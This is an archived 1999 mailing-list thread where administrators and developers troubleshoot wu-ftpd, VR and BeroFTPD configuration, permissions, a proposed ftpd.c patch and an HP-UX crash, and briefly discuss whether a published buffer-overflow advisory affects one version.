> limit remote 30 /etc/msg.dead
>
> Under the pub dir. I had two directories then look like this:
>
> dr-xr-xr-x 2 root testing 512 Mar 17 16:18 eeee
> -rwxr-xr-x 1 root other 484 Mar 18 08:41 ftpaccess
> -rwxrwxrwx 1 root other 50 Mar 15 15:29 pubfile
> -rw-r--r-- 1 root other 0 Mar 18 08:48 ray.txt
> drwxr-x--x 2 root lonestar 512 Mar 15 16:19 testdir
>
> I had access to all the dir no matter what hosts I was logged into. If
> someone has a clue about this I would really appreciate the help.

chmod o-x testdir
chmod o-rx eeee

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 18 10:36:48 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA11664;
Thu, 18 Mar 1999 10:36:47 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA25719;
Thu, 18 Mar 1999 10:31:50 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA21232
for <[email protected]>; Thu, 18 Mar 1999 10:21:31 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id LAA25722;
Thu, 18 Mar 1999 11:21:10 -0500
Message-Id: <[email protected]>
Date: Thu, 18 Mar 1999 11:21:09 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Harris Kosmidhs <[email protected]>
Cc: [email protected]
Subject: Re: upload
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 18 Mar 1999, Harris Kosmidhs wrote:

> I just installed wu-ftpd 2.4.2 final with vr16.
>
> I use the old ftpaccess from 2.4.2BETA18.
>
> Previously I could upload files in the /incoming (i had the coorect
> line in ftpaccess) Now I can't. Do I need to change anything in the
> upload statement?

Probably. In my experience, the upload clauses for many sites didn't work
but the failure wasn't noticed because nobody looked carefully enough and
Unix permissions were protecting the system. The VR version attempts to
correct these problems in a number of ways. Most notably for you, upload
is DENIED by default for anonymous users; you MUST have a valid upload
clause to enable it.

I've written a document explaining how to securely allow uploads on your
ftp site. Read through
ftp://ftp.vr.net/pub/wu-ftpd/upload.configuration.HOWTO
it should answer your questions.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 18 10:50:04 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA11900;
Thu, 18 Mar 1999 10:50:03 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA28313;
Thu, 18 Mar 1999 10:44:43 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA27664
for <[email protected]>; Thu, 18 Mar 1999 10:30:59 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id LAA25812;
Thu, 18 Mar 1999 11:30:52 -0500
Message-Id: <[email protected]>
Date: Thu, 18 Mar 1999 11:30:51 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "Randall S. Winchester" <[email protected]>
Cc: [email protected]
Subject: Re: Problems with current Bero and VR code.
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 18 Mar 1999, Randall S. Winchester wrote:

> Ahh, that is a good idea... How about this, which seems to do the trick;
> If realname is a directory, and we are doing a LIST or NLIST, then call the
> command (ls_XXX) with the realname as the argument. To the user it looks
> like they are calling the original "name".
>
> Note: Line numbers will not match...
>
>
> diff -u -r1.2 ftpd.c
> --- ftpd.c 1999/03/18 05:13:13 1.2
> +++ ftpd.c 1999/03/18 05:18:34
> @@ -3473,7 +3473,13 @@
> } else { /* run command */
> static char line[BUFSIZ];
>
> - (void) snprintf(line, sizeof line, cmd, name), name = line;
> +#ifdef MAPPING_CHDIR
> + if ((stat_ret = stat(realname, &junk)) == 0 && S_ISDIR(junk.st_mode)
> + && !retrieve_is_data)
> + (void) snprintf(line, sizeof line, cmd, realname), name = line;
> + else
> +#endif
> + (void) snprintf(line, sizeof line, cmd, name), name = line;
> fin = ftpd_popen(line, "r", 1), closefunc = ftpd_pclose;
> st.st_size = -1;
> #ifdef HAVE_ST_BLKSIZE

Close. It uses the output from wu_realpath() which is the real, true,
honest-to-the-gods, full pathname so it should not work for guests or
anonymous users (or I'm missing something when I coderead it).

This _is_ the idea I was thinking of, though, and I very much appreciate
the patch since it gets me in the right area of the source code. For
various reasons, VR17 went into the can early this month so I'll put this
on the list for VR18.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 18 10:56:23 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA11977;
Thu, 18 Mar 1999 10:56:22 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA28603;
Thu, 18 Mar 1999 10:51:31 -0600 (CST)
Received: from atlantis.csc.umd.edu (atlantis.csc.umd.edu [129.2.8.129])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA17592
for <[email protected]>; Thu, 18 Mar 1999 10:36:00 -0600 (CST)
Received: from atlantis.csc.umd.edu (localhost [127.0.0.1])
by atlantis.csc.umd.edu (8.9.3/8.9.3) with SMTP id LAA04482;
Thu, 18 Mar 1999 11:35:58 -0500 (EST)
Received: from localhost by atlantis.csc.umd.edu (8.9.3/8.9.3) with ESMTP id LAA04478;
Thu, 18 Mar 1999 11:35:57 -0500 (EST)
Message-Id: <[email protected]>
Date: Thu, 18 Mar 1999 11:35:57 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: "Randall S. Winchester" <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: [email protected]
Subject: Re: Problems with current Bero and VR code.
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: [email protected]
X-Authentication-Warning: atlantis.csc.umd.edu: rsw owned process doing -bs
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 18 Mar 1999, Gregory A Lundberg wrote:

: On Thu, 18 Mar 1999, Randall S. Winchester wrote:
:
: > Ahh, that is a good idea... How about this, which seems to do the trick;
: > If realname is a directory, and we are doing a LIST or NLIST, then call the
: > command (ls_XXX) with the realname as the argument. To the user it looks
: > like they are calling the original "name".
: >
: > Note: Line numbers will not match...
: >
: >
: > diff -u -r1.2 ftpd.c
: > --- ftpd.c 1999/03/18 05:13:13 1.2
: > +++ ftpd.c 1999/03/18 05:18:34
: > @@ -3473,7 +3473,13 @@
: > } else { /* run command */
: > static char line[BUFSIZ];
: >
: > - (void) snprintf(line, sizeof line, cmd, name), name = line;
: > +#ifdef MAPPING_CHDIR
: > + if ((stat_ret = stat(realname, &junk)) == 0 && S_ISDIR(junk.st_mode)
: > + && !retrieve_is_data)
: > + (void) snprintf(line, sizeof line, cmd, realname), name = line;
: > + else
: > +#endif
: > + (void) snprintf(line, sizeof line, cmd, name), name = line;
: > fin = ftpd_popen(line, "r", 1), closefunc = ftpd_pclose;
: > st.st_size = -1;
: > #ifdef HAVE_ST_BLKSIZE
:
: Close. It uses the output from wu_realpath() which is the real, true,
: honest-to-the-gods, full pathname so it should not work for guests or
: anonymous users (or I'm missing something when I coderead it).

Ahh, well, maybe so... I did not test it in anonymous mode. I will look at
it later today or tonight when I get a free moment.

: This _is_ the idea I was thinking of, though, and I very much appreciate
: the patch since it gets me in the right area of the source code. For
: various reasons, VR17 went into the can early this month so I'll put this
: on the list for VR18.

Thanks,
Randall

From [email protected] Thu Mar 18 11:09:01 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA12266;
Thu, 18 Mar 1999 11:09:00 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA19794;
Thu, 18 Mar 1999 11:04:17 -0600 (CST)
Received: from hahp9k02.harte-lyne.ca ([email protected] [209.47.131.103])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA12286
for <[email protected]>; Thu, 18 Mar 1999 10:49:05 -0600 (CST)
Received: from s02 (s02.brockley.harte-lyne.ca [209.47.131.111])
by hahp9k02.harte-lyne.ca (8.9.3/8.9.3) with SMTP id LAA03571;
Thu, 18 Mar 1999 11:48:23 -0500 (EST)
Message-Id: <[email protected]>
Date: Thu, 18 Mar 1999 11:47:13 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "James B. Byrne" <[email protected]>
To: [email protected], [email protected]
Subject: Re: BeroFTPD-1.3.4 on HP-UX 11
In-Reply-To: <Pine.LNX.4.10.9902071606270.23107-100000@k6.microsoft.sucks.eu.org>
References: <[email protected]>
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
X-pmrqc: 1
X-mailer: Pegasus Mail for Win32 (v3.01d)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I have BeroFTPD 1.3.4 built (with gcc 2.8.1) and running on an
HP-UX 11.00 machine but I am getting the following error
message when a virtual user tries to do a 'dir' of his working
directory:

ftp> dir
200 PORT command successful.
425 Can't create data socket (209.47.131.74,20): Permission denied.

Now what causes this? The ftpaccess files are identical to
those being used on a HP-UX 10 system with BeroFTPD
1.3.2. The passwd files and user directory structures on both
systems are identical. The built in ls command was compiled
with 1.3.4. In fact the configure list is reproduced below.

/configure \
--enable-internal-ls \
--enable-chmod-lim \
--enable-ratios \
--prefix=/usr/local \
--with-confdir=/usr/local/etc/ftpd \
--with-logdir=/var/adm/syslog \
--with-piddir=/var/run \
--enable-throughput \
--enable-transfer-cnt \
--enable-transfer-lim \
--enable-passwd

Any suggestions as to what I may have done wrong would be
greatly appreciated.

Regards,
Jim
---
James B. Byrne Harte & Lyne Limited
vox: +1 905 561 1241 9 Brockley Drive
fax: +1 905 561 0757 Hamilton, Ontario
mailto:[email protected] Canada L8E 3C3

From [email protected] Thu Mar 18 11:15:48 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA12371;
Thu, 18 Mar 1999 11:15:47 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA10722;
Thu, 18 Mar 1999 11:10:52 -0600 (CST)
Received: from ljcqs016.cnf.com ([205.185.108.239])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA22392
for <[email protected]>; Thu, 18 Mar 1999 10:54:11 -0600 (CST)
Received: from cnfvs008.cnf.com (cnfvs008.cnf.com [10.0.2.114])
by ljcqs016.cnf.com (8.8.7/8.8.7) with ESMTP id IAA21701
for <[email protected]>; Thu, 18 Mar 1999 08:53:47 -0800 (PST)
Received: by cnfvs008.cnf.com with Internet Mail Service (5.5.2448.0)
id <GWD5NCYD>; Thu, 18 Mar 1999 08:53:46 -0800
Message-Id: <[email protected]>
Date: Thu, 18 Mar 1999 08:53:47 -0800
Reply-To: [email protected]
Sender: [email protected]
From: "Speier, Guy J - CNF" <[email protected]>
To: "'[email protected]'" <[email protected]>
Subject: buffer overflow
MIME-Version: 1.0
Content-Type: text/plain
X-Mailer: Internet Mail Service (5.5.2448.0)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Is this a problem with 2.8.2 Vr-14
1) BUFFER OVERFLOWS IN FTP SERVERS (02/11/1999)
CERT released an advisory concerning buffer overflows in several popular ftp
server programs-wuftpd and ProFTPD. The buffer overflows can be exploited
by a malicious remote user to gain root access on the ftp server. Versions
noted in the advisory include:
wuftpd 2.4.2-academ BETA-18
ProFTPD 1.2.Opre1
Patches are available for both versions.
The Wu-ftp program is installed by default on many popular UNIX variants
such as RedHat and Slackware.
For more information see the CERT Advisory at:

From [email protected] Thu Mar 18 11:35:44 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA12834;
Thu, 18 Mar 1999 11:35:43 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA26277;
Thu, 18 Mar 1999 11:30:38 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA31008
for <[email protected]>; Thu, 18 Mar 1999 11:20:58 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id MAA26349;
Thu, 18 Mar 1999 12:19:58 -0500
Message-Id: <[email protected]>
Date: Thu, 18 Mar 1999 12:19:58 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "James B. Byrne" <[email protected]>
Cc: [email protected], [email protected]
Subject: Re: BeroFTPD-1.3.4 on HP-UX 11
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 18 Mar 1999, James B. Byrne wrote:

> ftp> dir
> 200 PORT command successful.
> 425 Can't create data socket (209.47.131.74,20): Permission denied.

I don't run BeroFTPD, but it looks to me like the daemon isn't root
(superuser) when it's attempting to connect to the client from the
ftp-data port (20). Are you running the daemon as root or some other
user? Also, I'd check the OS books, some systems have protection schemes
arround the privileged ports and you need to do some magic handwaving to
tell the system the deamon is allowed to open a connection on the port.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 18 11:42:19 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA12967;
Thu, 18 Mar 1999 11:42:18 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA02128;
Thu, 18 Mar 1999 11:37:08 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA31965
for <[email protected]>; Thu, 18 Mar 1999 11:24:23 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id MAA26375;
Thu, 18 Mar 1999 12:23:48 -0500
Message-Id: <[email protected]>
Date: Thu, 18 Mar 1999 12:23:47 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "Speier, Guy J - CNF" <[email protected]>
Cc: "'[email protected]'" <[email protected]>
Subject: Re: buffer overflow
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 18 Mar 1999, Speier, Guy J - CNF wrote:

> Is this a problem with 2.8.2 Vr-14

No.

> 1) BUFFER OVERFLOWS IN FTP SERVERS (02/11/1999)
> For more information see the CERT Advisory at:

The CERT advisory gives the dates and versions when VR and Bero were
updated to defend against this problem (both were fixed months before the
problem was identified by Netect).

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 18 12:40:20 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA14142;
Thu, 18 Mar 1999 12:40:19 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA05596;
Thu, 18 Mar 1999 12:35:14 -0600 (CST)
Received: from hahp9k02.harte-lyne.ca ([email protected] [209.47.131.103])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id MAA24968
for <[email protected]>; Thu, 18 Mar 1999 12:27:03 -0600 (CST)
Received: from s02 (s02.brockley.harte-lyne.ca [209.47.131.111])
by hahp9k02.harte-lyne.ca (8.9.3/8.9.3) with SMTP id NAA03776;
Thu, 18 Mar 1999 13:26:34 -0500 (EST)
Message-Id: <[email protected]>
Date: Thu, 18 Mar 1999 13:25:25 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "James B. Byrne" <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: [email protected], [email protected]
Subject: Re: BeroFTPD-1.3.4 on HP-UX 11
In-Reply-To: <[email protected]>
References: <[email protected]>
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
X-pmrqc: 1
X-mailer: Pegasus Mail for Win32 (v3.01d)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On 18 Mar 99, at 12:19, Gregory A Lundberg wrote:

> don't run BeroFTPD, but it looks to me like the daemon isn't root
> (superuser) when it's attempting to connect to the client from the
> ftp-data port (20). Are you running the daemon as root or some other
> user?

I am running ftpd from inetd. Inetd was started with boot up.
As far as I can tell all privilege settings are the same on both
systems. Only the operating system differs.

Is there something obvious to others that I am missing here?
How does one influence the suid of the BeroFTPD deamon
when it is invoked by inetd?

Regards,
Jim
---
James B. Byrne Harte & Lyne Limited
vox: +1 905 561 1241 9 Brockley Drive
fax: +1 905 561 0757 Hamilton, Ontario
mailto:[email protected] Canada L8E 3C3

From [email protected] Thu Mar 18 12:52:56 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA14403;
Thu, 18 Mar 1999 12:52:55 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA06967;
Thu, 18 Mar 1999 12:47:52 -0600 (CST)
Received: from hahp9k02.harte-lyne.ca ([email protected] [209.47.131.103])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id MAA00019
for <[email protected]>; Thu, 18 Mar 1999 12:36:42 -0600 (CST)
Received: from s02 (s02.brockley.harte-lyne.ca [209.47.131.111])
by hahp9k02.harte-lyne.ca (8.9.3/8.9.3) with SMTP id NAA03798;
Thu, 18 Mar 1999 13:36:17 -0500 (EST)
Message-Id: <[email protected]>
Date: Thu, 18 Mar 1999 13:35:08 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "James B. Byrne" <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: [email protected], [email protected]
Subject: Re: BeroFTPD 1.3.4 and inetd
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
X-pmrqc: 1
X-mailer: Pegasus Mail for Win32 (v3.01d)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

This is my inetd.conf entry for BeroFTPD. As far as I can tell
this should be running as root:

ftp stream tcp nowait root /usr/local/sbin/BeroFTPD ftpd -l -
t300 -T900 -a

Regards,
Jim
---
James B. Byrne Harte & Lyne Limited
vox: +1 905 561 1241 9 Brockley Drive
fax: +1 905 561 0757 Hamilton, Ontario
mailto:[email protected] Canada L8E 3C3

From [email protected] Thu Mar 18 13:06:02 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA14632;
Thu, 18 Mar 1999 13:06:01 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA10467;
Thu, 18 Mar 1999 13:01:13 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id MAA08044
for <[email protected]>; Thu, 18 Mar 1999 12:49:26 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id NAA27022;
Thu, 18 Mar 1999 13:49:13 -0500
Message-Id: <[email protected]>
Date: Thu, 18 Mar 1999 13:49:13 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "James B. Byrne" <[email protected]>
Cc: WU-FTPD Discussion List <[email protected]>
Subject: Re: BeroFTPD-1.3.4 on HP-UX 11
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

As I said, I don't run BeroFTPD, so I don't know if there's maybe a setup
file for the sevrer which tells it to run as a non-root user.

Your inetd startup looks correct.

I know some systems need special handwaving to allow the daemon to use the
privileged ports. For instance on Truste Solaris, I believe, you need to
tag the executable are privileged .. simply running as root won't do.
Maybe HP/UX 11 needs something like that as well?

Are you running multiple virtual servers? If so, do you have the problem
on all of them? Or all but the base, default, server? Or only one or
two?

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 18 15:16:17 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA16748;
Thu, 18 Mar 1999 15:16:16 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA18624;
Thu, 18 Mar 1999 15:11:18 -0600 (CST)
Received: from hahp9k02.harte-lyne.ca ([email protected] [209.47.131.103])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA23348
for <[email protected]>; Thu, 18 Mar 1999 15:02:39 -0600 (CST)
Received: from s02 (s02.brockley.harte-lyne.ca [209.47.131.111])
by hahp9k02.harte-lyne.ca (8.9.3/8.9.3) with SMTP id QAA03852;
Thu, 18 Mar 1999 16:02:21 -0500 (EST)
Message-Id: <[email protected]>
Date: Thu, 18 Mar 1999 16:01:12 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "James B. Byrne" <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: [email protected], [email protected],
[email protected]
Subject: Re: BeroFTPD-1.3.4 on HP-UX 11
In-Reply-To: <[email protected]>
References: <[email protected]>
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
X-pmrqc: 1
X-mailer: Pegasus Mail for Win32 (v3.01d)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On 18 Mar 99, at 13:49, Gregory A Lundberg wrote:

> Are you running multiple virtual servers? If so, do you have the problem
> on all of them? Or all but the base, default, server? Or only one or
> two?
>

Yes, and no. As usual I am encountering problems moving
from one platform to another and upgrading the software at the
same time. I suppose that I should have learned better by
now.

The long story is that I had Kent Langfield's Newvirt-050
running on my main virtual host (HP/9000 H30) when that
machine suffered a catastrophic cpu failure in January. I then
had to hurriedly move these sites onto another server, an older
HP/9000 running HP-UX 10.01. In the process I found that I
was forced to move to BeroFTPD in order to maintain the
same functionality. I am running Bero 1.3.2 on that machine
under HP-UX 10.01.

Now it is time to move all these sites back and I do not wish
to go though hoops with the configuration files just to go back
to a more primitive version of ftpd. None the less the process
has not been straight forward.

First I could not get Bero 1.3.4 to build on HP-UX 11. This
problem I believe that I have traced down and fixed. Now it
appears that I have run into something else that is less
obvious. As I really need the virtual ftpaccess feature I am
sort of stuck.

I do appreciate your assistance in this and I truly recognize
the very gentlemanly manner in which you so graciously offer
assistance to someone that is using a product that has little
or nothing to do with your own efforts in this area. If you could
see your way to incorporating the NEWVIRT code into VR
then I would switch in a heartbeat.

I do not know if this is a case where HP-UX 11 is expecting
something that I am not giving it, or if I have misconfigured
something that has changed in Bero from 1.3.2 to 1.3.4. I can
only ask if someone else has run into this and if they have,
how did they fix it?

This is what is being logged in the syslog:

/var/adm/syslog/syslog.log:Mar 18 13:23:41 hahp9k02 ftpd[3774]: VirtualFTP Conne
ct to: 209.47.131.83
/var/adm/syslog/syslog.log:Mar 18 13:23:48 hahp9k02 ftpd[3774]: USER ftpjmrmt
/var/adm/syslog/syslog.log:Mar 18 13:23:52 hahp9k02 ftpd[3774]: PASS password
/var/adm/syslog/syslog.log:Mar 18 13:23:53 hahp9k02 ftpd[3774]: FTP LOGIN FROM h
ahp9k01.harte-lyne.ca [209.47.131.101], ftpjmrmt
/var/adm/syslog/syslog.log:Mar 18 13:23:53 hahp9k02 ftpd[3774]: SYST
/var/adm/syslog/syslog.log:Mar 18 13:23:53 hahp9k02 ftpd[3774]: TYPE Image
/var/adm/syslog/syslog.log:Mar 18 13:23:55 hahp9k02 ftpd[3774]: PORT
/var/adm/syslog/syslog.log:Mar 18 13:23:55 hahp9k02 ftpd[3774]: TYPE ASCII
/var/adm/syslog/syslog.log:Mar 18 13:23:55 hahp9k02 ftpd[3774]: LIST
/var/adm/syslog/syslog.log:Mar 18 13:23:55 hahp9k02 ftpd[3774]: exiting on signa
l 11

Comments and suggestions are welcome. I am cross posting
this to the hpux admin list in the hopes that someone there
may have an answer.

Regards,
Jim
---
James B. Byrne Harte & Lyne Limited
vox: +1 905 561 1241 9 Brockley Drive
fax: +1 905 561 0757 Hamilton, Ontario
mailto:[email protected] Canada L8E 3C3

From [email protected] Thu Mar 18 15:49:23 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA17302;
Thu, 18 Mar 1999 15:49:22 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA07415;
Thu, 18 Mar 1999 15:43:16 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA25355
for <[email protected]>; Thu, 18 Mar 1999 15:33:08 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id QAA28629;
Thu, 18 Mar 1999 16:32:56 -0500
Message-Id: <[email protected]>
Date: Thu, 18 Mar 1999 16:32:56 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "James B. Byrne" <[email protected]>
Cc: [email protected], [email protected],
[email protected]
Subject: Re: BeroFTPD-1.3.4 on HP-UX 11
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 18 Mar 1999, James B. Byrne wrote:

> /var/adm/syslog/syslog.log:Mar 18 13:23:55 hahp9k02 ftpd[3774]: LIST
> /var/adm/syslog/syslog.log:Mar 18 13:23:55 hahp9k02 ftpd[3774]: exiting on signal 11

Hello! Signal 11. The daemon's dying. The usual cause for that is a bad
pointer somewhere in the code (proximate to LIST, probably). When VR was
being ported and debugged for HP/UX 10.20, we found a few sizeof/endian
problems (ie., sizeof(int) != sizeof(mode_t) on 10.20). ISTM I've heard
that HP/UX 11 is a 64-bit OS. If that's true, it's possibly another such
problem.

When I hit these, I insert some syslog messages in the code in an attempt
to localize the failure. A couple compile/test cycles and I can usually
binary-search it down to the line where it's failing. Spotting the
problem (for mode_t) was hard since it _looked_ right. Usually, though,
it's some function returning an error condition which wasn't properly
checked causing the daemon to misbehave shortly thereafter.

What's odd, to me, is that you're getting the signal 11 in the system log
and your earlier posting indicated a permission-denied binding to port 20
for the PORT-mode data connection for the LIST command. Maybe the daemon
isn't handling the permission-denied error and later dying with the signal
11 when it tries to use the unopened (and value == -1) file handle for the
socket.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 18 16:33:37 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA18112;
Thu, 18 Mar 1999 16:33:37 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA31354;
Thu, 18 Mar 1999 16:28:35 -0600 (CST)
Received: from wxmail.wiley.com ([199.171.201.30])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA22980
for <[email protected]>; Thu, 18 Mar 1999 16:17:18 -0600 (CST)
Received: by wxmail.wiley.com (8.9.1/JWS Sofisticated 1.00)
id RAA02597; Thu, 18 Mar 1999 17:14:03 -0500 (EST)
Message-Id: <36f17aabmultiple daemon's running*@m400gw.wiley.com>
Date: 18 Mar 99 17:12 EST
Reply-To: [email protected]
Sender: [email protected]
From: [email protected]
To: [email protected]
Subject: multiple daemon's running
MIME-version: 1.0
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

If users don't disconnect from their FTP client properly the daemon doesn't
die.
